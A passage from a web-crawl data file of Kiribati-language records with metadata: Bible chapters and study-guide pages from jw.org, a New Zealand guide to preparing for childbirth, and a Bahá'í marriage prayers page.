ngke e roko naba ngkekei ana Ati te Atua ae koaua i Ekiron, ao a a takarua ni kangai I-Ekiron: \"A a uota ana Ati Atuan Iteraera nakoira, bwa ti aonga ni kamateaki ma ara aomata!\"+ 11 Ao a kanaanako n ikotiia tokani Biritia ni kabane ao a taku: \"Kanakoa ana Ati Atuan Iteraera, ke e okira ana tabo bwa ti aonga n aki kamateaki ma ara aomata.\" Bwa e a butanako maakakin te mate n te kaawa ni kabutaa, ao e a rangi ni bwakarawata bain te Atua ae koaua i aona,+ 12 ao mwaane ake a aki mate, a a oreaki n te tine. Ao e a waerake nako karawa tangia kaain te kaawa ni kani buokaki.\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/1-tamuera\/5\/","date":"2018-04-24T11:11:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946597.90\/warc\/CC-MAIN-20180424100356-20180424120356-00241.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":486,"character_repetition_ratio":0.079,"word_repetition_ratio":0.059,"special_characters_ratio":0.243,"stopwords_ratio":0.455,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"15 \"Kam riai ni kamaunai taarau ni koron ririki nako aika itiua.+ 2 Aio aroni kamaunaan taian taarau: A na bane taani kataarau, temanna ma temanna ni kamauna ana taarau raona n aomata are e bae iai irouna. E aki riai ni kairoroa raona ke tarina bwa e na kabwaraa ana taarau, bwa e na katanoataaki bwa te kabwarataarau ibukin neboan Iehova.+ 3 Kam kona ni kairoroa te ianena bwa e na kabwaraa ana taarau,+ ma kam riai ni kamauna ami tangitang i aoni baike e taarau iai tarimi iroumi. 4 Ma e riai n akea i buakomi ae e maiu ni kainnano bwa e na boni kakabwaiaingkami Iehova,+ n te aba ae e a anganingkami Iehova ae Atuami bwa kam na taua bwa abami, 5 ma tii ngkana kam bon ongo raoi ni bwanaan Iehova ae Atuami, ao ni kakairi raoi n tuua aikai ni kabane aika I anganingkami n te bong aei.+ 6 Bwa e na kakabwaiaingkami Iehova ae Atuami n aron are e beritanna nakoimi, ao kam na kakatangobwai* nakoia natannaomata aika bati ma kam na aki ngkami tatangobwai,+ ao kam na taua taekaia natannaomata aika bati ma a na aki taua taekami.+ 7 \"Ngkana iai tarimi temanna ae maiu ni kainnano i buakomi, ae e maeka n ami kaawa teuana n te aba ae e a anganingkami Iehova ae Atuami, ao tai kamatoaa nanomi ke ni kaina baimi nakon tarimi ae maiu ni kainnano.+ 8 Bwa kam riai n tituaraoi ni kaurei baimi nakoina,+ ao anganna te bwai ae e kainnanoia ke ae e tare iai bwa e na tangoia.* 9 Taratara raoi bwa kam na aki kaikoa te iango ae buakaka i nanomi ae kangai, 'E a uakaan te kaitiua n ririki, ae te ririki ni kamaunai taarau,'+ ao kam a katoka ami tituaraoi nakon tarimi ae maiu ni kainnano, ao akea te bwai ae kam anganna. Ngkana e tang nakon Iehova ibukimi, ao kam na bure iai.+ 10 Kam riai n tituaraoi n anganna+ ao kam* aki riai n anganna ma te aki kukurei, bwa anne bukina ae e na kakabwaiai ami mwakuri nako ma ami beku Iehova ae Atuami.+ 11 Bwa e na iai n taai nako aomata aika maiu ni kainnano i aon te aba.+ Anne bukina ae I tua iai ae kangai nakoimi, 'Kam riai n tituaraoi ni kaurei baimi nakon tarimi ae karawawataaki, ao ae maiu ni kainnano i abami.'+ 12 \"Ngkana iai tarimi temanna ae te Ebera, ae te mwaane ke te aine, ae kaboonakoaki nakoimi ao e toro iroumi i nanon onoua te ririki, kam riai ngkanne ni kainaomataa n te kaitiua n ririki.+ 13 Ao ngkana kam na kainaomataa, kam na tai kanakoa n akea uotana. 14 Kam riai n tituaraoi n anganna teutana man ami nanai, ami tabo ni kaaki kun ni uita, ao man ami nne ni kamanti ibukin te oera ao te wain. Kam riai n anganna n aroni kakabwaiaami iroun Iehova ae Atuami. 15 Uringnga are kam riki ngkoa bwa te toro n te aba are Aikubita, ao e a manga kabooingkami Iehova ae Atuami. Anne bukina ae I tua iai nakoimi bwa kam na karaoa aei n te bong aei. 16 \"Ma ngkana e kangai nakoim, 'N na aki nako mai rarikim!' ibukina bwa e tangiriko ma kaaini batam, bwa kioina ngke e kukurei n tikuna i rarikim,+ 17 ko riai ngkanne ni kairia ni kararaa ma te mataroa ao ewara taningana n te bwai n ewataninga, ao e na riki bwa am toro n uaa tokini maiuna. Anne naba ae ko riai ni karaoia nakon am toro te aine. 18 Ngkana ko kainaomataa ao e a kitaniko, tai iangoia bwa te bwai ae karawawata, bwa ana beku ake i nanon onoua te ririki, e anganiko am raka ae uoua te tai okiokina nakon are e kona n anganiko te tia mwakuri ae kabooaki ana mwakuri, ao e a tia Iehova ae Atuam ni kakabwaiako ni bwaai ni kabane ake a karaoaki. 19 \"Kam riai ni katabui nakon Iehova ae Atuami, aia karimoa aika mwaane ami kao ma ami tiibu.+ Kam na tai kammwakura aia karimoa ami kao,* ao tai korei buraen aia karimoa ami tiibu. 20 Kam riai ni kanna i matan Iehova ae Atuami ni katoa ririki, ngkami ma kaaini batami, n te tabo ae e na rineia Iehova.+ 21 Ma kam na tai kareanna nakon Iehova ae Atuami ngkana iai toabuakani bwain rabwatana, e mwauku, e mataki, ke iai irouna aeka n toabuaka riki aika kakaiaki.+ 22 E riai te aomata ae kamwara ao te aomata ae itiaki ni kanna i nanon ami kaawa nako,* n aroni kanakin te katere* ke te ria.+ 23 Ma kam na tai kana raraana,+ kam riai ni kabwaroa i aontano n aron te ran.+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/te-tua-kaua\/15\/","date":"2018-04-27T08:53:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524127095762.40\/warc\/CC-MAIN-20180427075937-20180427095937-00252.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":814,"character_repetition_ratio":0.075,"word_repetition_ratio":0.007,"special_characters_ratio":0.236,"stopwords_ratio":0.432,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"4 E riai n iangoira te aomata bwa ana tabonibai Kristo, ao tooro aika mwiokoaki n ana bwai te Atua ae raba ae tabu.+ 2 Ni kaineti ma aei, te bae kantaningaaki mairouia tooro aika mwiokoaki, bon aroia bwa a na kuneaki ni kakaonimaki. 3 Ma ngai irou, bon akea bongani motikan taekau iroumi ke n aia kaboowi aomata. I bon aki naba ngai motika taekau. 4 Bwa ngkana iai te bwai ae I riai ni bukinaki iai bwa I bure, ao I aki ataia. Ma e aki kaotaki n aei bwa I raoiroi, bwa bon Iehova* ae motika taekau.+ 5 Mangaia ae tai motika taekan+ temanna imwain taina ae riai, ni karokoa rokon te Uea. E na kaotai bwain te rotongitong ake a raba, ao ni kaotaraei motinnano ake i nanoia aomata, ao ngkanne, e na reke iai kamoamoaan temanna ma temanna mairoun te Atua.+ 6 Taari, ngke I taekini baikai nakoimi, ao I kabonganaai ma Aboro+ bwa banna ni katoto ibukini kabwaiami, bwa kam aonga n reireinaki te boto n reirei aei: \"Tai karakai baike a koreaki,\" bwa kam aonga n aki kainikatonga+ n iangoa temanna bwa e raoiroi riki nakon are temanna. 7 Bwa antai ae karaoiko bwa ko na kaokoro ma are temanna? Ao tera ae iai iroum ae ko aki anganaki?+ Ngkana ngaia bwa ko anganaki, ao e aera ngkai ko kamoamoako bwa aongkoa ko aki anganaki? 8 Ngaia a a reke naba iroumi bwaai ni kabane ake kam kainnanoi? Ngaia kam a riki naba ni kaubwai? Ngaia kam a rimoara naba ni moana tautaekami bwa ueea?+ Tera ngke kam a boni moana tautaekami bwa ueea, bwa ti aonga naba ngaira n tautaeka ma ngkami bwa ueea.+ 9 Bwa n au iango, e a tia te Atua ni karaoira ngaira aika abotoro bwa ti na kaotaki ni kabaneana bwa aomata aika motikaki bukia bwa a na mate,+ ibukina bwa ti riki bwa kaanga bwaai ni kamataku nakoia kaain te aonnaba,+ ma anera, ao nakoia aomata. 10 Boni baaba+ ngaira ibukini Kristo, ma kam wanawana i nanoni Kristo. Ti mamaara ma kam korakora. Kam karineaki ma ti bwainnataeaki. 11 Ti teimatoa ni baki+ ni karokoa te tai aei, ao ni bwatakataka+ naba, ma n aki kunnikaiaki* ao n oreaki,*+ ao n akea mwengara, 12 ao ni korakai ni mwakuri ni baira.+ Ngkana a kabuakakaira aomata ao ti kakabwaiaia,+ ao ngkana ti bwainikirinaki ao ti nanomwaaka n taotaon nanora,+ 13 ngkana ti uaraoaki ao ti kaeka ma te nimamannei.*+ Ti iangoaki ni karokoa ngkai bwa maange irouia kaain te aonnaba, ae te baareka ae riai ni kakeaaki mani bwaai nako. 14 I aki korei baikai bwa N na kamaamaeingkami, ma I reireiningkami bwa kaanga natiu aika tangiraki. 15 Bwa e ngae ngkana 10,000 mwaitiia taan tararuaingkami* i nanoni Kristo, ma a bon aki mwaiti tamami. Bwa I a riki ngai bwa tamami i nanoni Kristo Iesu rinanon te rongorongo ae raoiroi.+ 16 Mangaia ae I kaumakingkami bwa kam na riki bwa taani kakairi irou.+ 17 Anne bukina ae I kanakoa iai Timoteo nakoimi, ibukina bwa bon natiu ae tangiraki irou ae kakaonimaki n ana mwakuri te Uea. E na kauringingkami au anga* nako n reitaki ma Kristo Iesu,+ n arou n angareirei n taabo nako n ekaretia ni kabane. 18 A kainikatonga tabeman i buakomi bwa aongkoa N nang aki kawaringkami. 19 Ma N na boni waekoa ni kawaringkami ngkana nanon Iehova,* ao N na aki tabe ma aia taetaenikawai akana kainikatonga, ma N na noria bwa iai mwaakan te Atua irouia ke akea. 20 Bwa e aki boboto ana Tautaeka n Uea te Atua i aon te taetaenikawai, ma e boto i aon te mwaaka. 21 Tera ae kam tangiria riki? N na nakoimi ma te kai,+ ke ma te tangira ao te nano ae nimamannei?\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/1-i-korinto\/4\/","date":"2018-04-21T20:23:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945317.36\/warc\/CC-MAIN-20180421184116-20180421204116-00263.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":654,"character_repetition_ratio":0.046,"word_repetition_ratio":0.006,"special_characters_ratio":0.232,"stopwords_ratio":0.434,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"49 Ongora irou ngkami aika abamwakoro,Ao kakauongo ngkami aika natannaomata aika kam raroanako.+ E weteai Iehova imwaini bungiakiu.*+ E atonga arau man te tai are I mena iai i nanoni biroton tinau. 2 E karaoa wiu bwa kaanga te kabaang ae kakang. E katanai i aan nuuni baina.+ E karaoai bwa kanoan te kainikatebe ae karaneaneaaki. E karabaai i nanoni nneni kanoan ana kainikatebe. 3 E taku nakoiu: \"Bon au toro ngkoe ae Iteraera,+Ae N na kaotiota tamaroau rinanom.\"+ 4 Ma I taku: \"I korakai ibukin te akea. I kabanebuakaa korakorau ibukin te bwai ae akea uaana ae matebuaka. Ma e boni mena motikan taekau iroun Iehova*Ao boon au mwakuri* iroun Atuau.\"+ 5 Ao Iehova, are Teuare karaoai bwa ana toro mai nanon te biroto,E tuangai ngkai bwa N na kaoka Iakoba nakoina,Bwa a aonga n ikotaki nakoina kaain Iteraera.+ N na karineaki i matan IehovaAo e na riki Atuau bwa korakorau. 6 Ao e taku: \"E aki naba tau ae au toro ngkoeBwa ko na kateirakeia ana baronga IakobaAo ni kaokiia ake a kawakinaki i buakoia kaain Iteraera. I anganako naba ngkoe bwa ootaia natannaomata,+Bwa e aonga n rotii tabon aonnaba au kakamaiu.\"+ 7 E kangai ana taeka Iehova ae te tia Manga Kabooa Iteraera, ae Teuare Tabu irouna,+ nakon teuare ribaaki,+ nakon teuare taboribaaki iroun te natannaomata, nakon aia toro taan tautaeka: \"A na noria ueea ao a na teirake,Ao a na bobaraaki natinuea mwaaneIbukin Iehova ae kakaonimaki,+Ae Teuare Tabu iroun Iteraera, are e a tia n rineiko.\"+ 8 E kangai ana taeka Iehova: \"I kaekako n tain akoan* te aba+Ao I buokiko n te bong ni kamaiu.+ I teimatoa ni kawakiniko bwa N na anga ngkoe bwa te berita ibukia aomata,+Bwa e na manga kaokaki te aba nakon aronaAo a na manga aban abaia ake a kamaroaeaki,+ 9 Bwa N na kangai nakoia aomata aika taiani bure, 'Otinako!'+ Ao nakoia ake n te rotongitong,+ 'Kaotingkami!' A na amwamwarake n taiani kawai,Ao e na mena aia tawaana i rarikini kawai nako aika uruaki.* 10 A na aki bora ni baki ke ni bora n taka,+Ao a na aki naba bwakaraki n te kabuebue ke n te riringa,+Bwa e na kairiia Teuare nanoangaiia,+Ao e na kaiririia i rarikini koburake n ran.+ 11 N na karaoi au maunga ni kabane bwa te kawai,Ao a na karietaaki au kawai aika totouaki.+ 12 Noria! A roko baikai mai kiraroa,+Ao noria! boni mai meang ao mai maeao baikai,Ao boni man te aba ae Tinim baikai.\"+ 13 Takarua ni kimwareirei ngkoe ae karawa, ao kimwareirei ngkoe ae te aonnaba.+ Ke a kakatonga ma n tang ni kimwareirei taiani maunga.+ Bwa e a tia Iehova ni karaui nanoia ana aomata+Ao e nanoangaiia ana aomata ake a karawawataaki.+ 14 Ma e teimatoa ni kangai Tion: \"E kitanai Iehova+ ao e mwanuokinai Iehova.\"+ 15 E kona te aine ni mwanuokina natina ae mammaKe n aki nanoangaa natini birotona? E ngae ngkana a mwaninga aine aikai ma ngai N na bon aki mwanuokiniko.+ 16 Noria! I korea aram ni kaaria i nanoni baiu. A mena n taai nako am oo i matau. 17 A ienikuri n oki natim mwaane. A na nako mairoum te koraki ake a uruko ni kabwakako ao ni kamaroaeko. 18 Euti matam ao taratara nako. A a ikotaki ni kabane.+ A a roko nakoim. \"Ngkai bon iai ngai,\" bon ana taeka Iehova,\"Ao ko na karinia ni kabane i aom bwa kaanga bwaai ni katamaroa,Ao ko na kabaeia i aom n aron ae e karaoia te tia mare te aine. 19 E ngae ngke a kamaroaeaki ngkoa am tabo ao akea kaaia, ao e uruaki abam,+Ma e na rangi n ribwa ngkai ibukia taani maekanna,+Ao a na raroanako+ te koraki ake a kabwautiko.+ 20 A na kangai nakoim natim mwaane aika ko bungia imwini mateia natim,'E a rangi n ribwa te tabo aei ibukira. Karekea nnera ni maeka ikai.'+ 21 Ao ko na kangai i nanom,'Antai tamaia ataei aika I a anganaki aikai, Ngkai bon te aine ngai ae a mate natiu ao I kanoabo,Ao I riki bwa te taenikai ao I kairaki nako bwa te bure? Antai ae kaikawaiia?+ Noria! I tiku n tii ngai,+Mangaia ae a roko mai ia naakai?'\"+ 22 E kangai ana taeka te Uea ae Moan te Rietata ae Iehova: \"Noria! N na katea baiu nakoia natannaomata,Ao N na tabekaarake au kanikina* nakoia botannaomata.+ A na uotiia natim mwaane i anganibaia*Ao a na aonnangaiia natim aine.+ 23 A na riki ueea bwa taani kawakiniko,+Ao aia natinuea aine bwa taan tararuaiko. A na bobaraaki nakoim nako aontano+Ao n newenewea bubuni waem,+Ao ane ko na ataia ae bon Iehova ngai. A na aki kamaamaeaki te koraki ake a kabotoi aia kantaninga i aou.\"+ 24 A kona n anaaki mairoun te aomata ae korakora te koraki ake a a kamani kairakinako,Ke a kona ni kamaiuaki te koraki ake a kataenikaiaki iroun te tia karawawataa te aba? 25 Ma e kangai ana taeka Iehova: \"A na kairakinako naba te koraki ake a kataenikaiaki iroun te aomata ae korakora,+Ao a na kamaiuaki te koraki ake a kairakinako iroun te tia karawawataa te aba.+ N na ekiianako te koraki akana ekikonako,+Ao N na kamaiuia natim mwaane. 26 N na karaoiia taani bwainikiriniko bwa a na kana oin irikoia,Ao a na koro ni manging n oin raraaia n aron ae kaanga n te wain ae karewe. Ao a na ataia aomata* ni kabane bwa bon Iehova ngai,+Ae am tia Kamaiu+ ao te tia Manga Kabooko,+ae Teuare Mwaaka ae Atuan Iakoba.\"+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/itaia\/49\/","date":"2018-04-24T11:19:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946597.90\/warc\/CC-MAIN-20180424100356-20180424120356-00318.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":933,"character_repetition_ratio":0.051,"word_repetition_ratio":0.004,"special_characters_ratio":0.234,"stopwords_ratio":0.406,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MAIURA NI KRISTIAN AO ARA MWAKURI NI MINITA—TE BOKI N REIREI March 2017\nAron te maroro ibukin Te Taua-n-Tantani ao reireinaia aomata te koaua ibukin te Tautaeka n Uea. Kabonganai katoto aikai ni karaoi iai oin am maroro\nBAIKA KAKAWAKI AIKA MENA N ANA TAEKA TE ATUA\nE namakinna Ieremia bwa e aki tau nakon te mwioko ngke e mwiokoaki bwa te burabeti iroun Iehova ae te Atua. E kangaa ni karaua nanona Iehova?\nBAIKA KAKAWAKI AIKA A MENA N ANA TAEKA TE ATUA\nA iangoia tibun Iteraera bwa a kona ni kabooaki mwini buure n taian angakarea. E ninikoria Ieremia ni kaotii aia bure ao aroia ni mwamwanaa te aba.\nMAIURA NI KRISTIAN\nKabongana te boroutia aei n reiakinia iai akana reirei n te Baibara taekaia Ana Tia Kakoaua Iehova, ara mwakuri, ao ara botaki.\nBAIKA KAKAWAKI AIKA A MENA N ANA TAEKA TE ATUA\nA karekea te rau, te kukurei ao te mweraoi naake a ongeaba nakon ana kaetieti Iehova ae te Atua i Iteraera rimoa\nMAIURA NI KRISTIAN\nKabonganai taamnei ao kiibu n angareirei iai ni koaua man te Baibara nakoia ake e kangaanga irouia te wareware\nBAIKA KAKAWAKI AIKA MENA N ANA TAEKA TE ATUA\nTera are e kamataata Iehova ae te Atua ngke e tuanga Ieremia bwa e na mwananga 300 te maire nakon te Karaanga ae Iuberetiti ao ni karabaa iai te kabaea n nuka?\nMAIURA NI KRISTIAN\nE kona am utu ni buokaki n ururinga Iehova ni karaoan te Taromauri n Utu ae katoatai ao n uaana. Ko na kangaa n tokanikai i aoni kangaanga aika riiriki n te taromauri n utu?","id":"","dump":"CC-MAIN-2018-34","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/maati-2017-mwb\/","date":"2018-08-15T19:35:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221210249.41\/warc\/CC-MAIN-20180815181003-20180815201003-00058.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":267,"character_repetition_ratio":0.098,"word_repetition_ratio":0.016,"special_characters_ratio":0.202,"stopwords_ratio":0.438,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE TAUA-N-TANTANI August 2015\nATUN TE MAEKATIN\nRongorongoni mangauti aomata aika waniman n te Baibara. Tera ae a taekinna ibukin te maiu imwin mate?\nATUN TE MAEKATIN\nBukin tera bwa e na kautiia aomata aika a aki raoiroi te Atua?\nATUN TE MAEKATIN\nE taekinaki bukina aika uoua n te Baibara ae ti kona iai ni kakoauaa te mangauti.\nRONGORONGONI MAIUNA\nE kunea te maiu ae manena Félix Alarcón imwini kuratina ae kakaiaki are e a aki kakammwakuri iai mai roroana rikaaki.\nKAKAIRI N AIA ONIMAKI\nTera reireiara n rongorongon Tebora ae n te Baibara ibukin te onimaki ao te ninikoria?\nTera te kantaninga ibukin te maiu? Bukin tera bwa a karikaki aomata?\nBaika Tibwa Rin Riki n te Intanete\nTe tokanikai i aoni maakakin te mate n te aro ae riao, e kona ni buokiko bwa ko na kukurei ni maium.","id":"","dump":"CC-MAIN-2018-51","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/wp20150801\/","date":"2018-12-13T23:42:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376825112.63\/warc\/CC-MAIN-20181213215347-20181214000847-00367.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":141,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.202,"stopwords_ratio":0.426,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ea kaan te tai ao ea roko te tai ni kaitaraa ma te ataei ae uarereke(or ones!)Te katauraoi ibukin ana tai ni bungiaki ao ko na kaetaki raoi ni baai aika riai ni karaoaki, ao aikai baai tabeua aika kauarereke te nanokokoraki.\nKANIKINA AIKA NORAKI I NANON TE TAI NI BWIKOUKOU\nReitaki raoi ma te Matanui Neeti Kawakina(LMC) ao te Labour & Birthing Unit KAWAEKOA nkana ko namakina kanikina aikai:\n- Te marakin biroto ao ragam, ko namakina te maraki totoko mai roun te ataei\n- Ea rara ana tabo ni bung\n- E tatari te rara man ana tabo ni bung\n- Ea kaoti te ataei ni karaurau I aon kawaina ao ea bitaki arona ni kamakuri\n- Ea korakora te mumuta\n- E maraki nkana e nako ni mim\n- Ea otinako man ana tabo ni bung te ran ae maung\n- Ea rikirake ni toka rarana ao aroarona nakon te roki ni mim ao te protein e kaotaki naba ba ea kan roko ana tai ni otinako pre-eclampsia\nTabeua riki te kanikina e kaotaki ikai:\n- Te marakin atu\n- Te kagaaga i nanon ana taratara e mwabubu ao iai te ota e rotaki n ana taratara\n- Te maraki n te itera ni agatai I etan bwirotona\n- Te mumuta naki akaaka ao e aki ataki bwa tera bukina\n- Te bubura ni matana, baina, ragana ao waena\n- E rotaki n te kabwebwe ao te flu\nTe Katauraoi I bukin am ataei\nE rawata baai aika ko riai ni katauraoi tao I bukin bugiakin am ataei n te auti, tao te onaoraki, nke te tabo ni kabun n te kominiti. E riai ni katauraoaki raoi kawaim ma am Matanui Neeti ni Kabung ba an bane ni tauraoi baai ni kabana aika tangiraki I bukin aio.\nTe rongorongo ibukin ware aomata e noraki I ai maitin kain te Betebeke a bon bung n te aro ae riai. I nanon am kakarabakau ma am LMC, nkana akea te katabetabe i bukin bungiakin te ataei ao e kona ni bungiaki n am auti ni te tabo ae tamaroa ao e rau nke kona ni bungiaki n aia tabo ni bung ataei.\nNkana ko tagirai te onaoraki nke te te tabo ni bung I rouia ataei, ao ko riai ni tutuo moa te tabo ae kona bungiaki I ai. Ao e reke ane ba te katauaki nakon te tabo ae kona bung iai. Click nte link ae mai nano ni noria riki tabo ni bung I Auckland\nNkana e reke am atatai ae tamaroa I bukin te tabo ni bung, I main bugiakin te ataei , ao iai naba baai aikai ni katauraoaki:\n- Ana baene te ataei ao ana baai ni katauraoi (tarai baai aika tagiraki)\n- Ami kaa ni mamanaga\n- Aomata riki ni ibwonwoki\n- Tararuakia ataei i nanon te auti\n- Ena tauraoi raoi am tabo ni bung, taurana, katangitangi ni karau nano, te tabo ae rau ao e bubura; ao\n- Uriga ni katauraoi ana kainitekateka ni mamanaga te ataei I nanon te kaa ( te onaoraki ao te tabo ni bung aki kona tuanko bwa ko kona ni otinako ti ngkana a noria ana kaintekateka ni mamanaga te ataei e tauraoi) Click n te link ao kona ni kaboaki ana carseat te ataei e.g. plunket\nKanikina I nanon taai n te maraki\nNkana ko ataia bwa koa maraki, reitaki ma am Matanui Neetinikabun tiakawakina nke te Labour & Birthing suite bwa na ataia baai aika riki. Ngaia a kona ni kairiko ni nanon baai ae ko riai ni karaoi.\nKanikina I bukin am tai ni maraki ni te tai ni bung:\n- Te maraki ni biroto ao ragam, ko namakina te maraki totoko mai roun te ataei\n- Ea rara ana tabo ni bung ao otinako te ran\n- E tatari te rara man ana tabo ni bung","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/www.tapuaki.org.nz\/ki\/te-ataei-ea-kan-bungiaki","date":"2019-01-23T23:44:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547584431529.98\/warc\/CC-MAIN-20190123234228-20190124020228-00562.warc.gz","language":"gil","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"gil_Latn_score\": 1.000009298324585}","num_words":618,"character_repetition_ratio":0.073,"word_repetition_ratio":0.03,"special_characters_ratio":0.226,"stopwords_ratio":0.385,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tataro Ni Bahá'í\nTe Mare\nTe Moantaeka -\nTe mare ni Baha'i bon te bonnano ao te iraorao imarenaia itera aika uoua. E ngae n anne ma a riai ni bwaina te rangi ni karaurau ao n riki n ikikinai anuaia i bon irouia. E riai te itoman…\n214 words\nE na neboaki Te Atua, are Ngkoangkoa are E aki maamate, are Akea Bibitakina, ao Akea tokina! Boni Ngaia are E a tia ni kakoaua n oin Arona bwa bon Ngaia ae ti Temanna, ae akea Tauan Arona,…\nBahá'u'lláh\n•\n214 words\nBoni Ngaia Te Atua! Ae Akea Kabotauana, n Rabakaum ae mwaaka Ko a tia ni kariaia te mare i aoia aomata, bwa man te roro teuana e na oti te roro teuana n te aonaaba ae bibitaki aei, ni…\n'Abdu'l-Bahá\n•\n220 words\nKo na neboaki Ngkoe Atuau! Bon Am toro ni koaua aei ao Am toro naba te aine aei, ake a tia ni karikiia n ti te irikona i aan nuun Am nanoanga. Te Uea! Buokiira i nanon te aonaaba aei ao n…\n'Abdu'l-Bahá\n•\n158 words\nBahá'í Prayers\nGet the app\ncontact us\nemail@example.com\n@bahaiprayersapp\nFind us on Facebook\nBahá'í Prayers\nGet the app","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.bahaiprayers.io\/category?id=214&l=gil","date":"2019-09-20T15:09:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514574039.24\/warc\/CC-MAIN-20190920134548-20190920160548-00154.warc.gz","language":"gil","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 1.0000081062316895}","num_words":191,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.377,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tataro Ni Bahá'í\nTe Aki 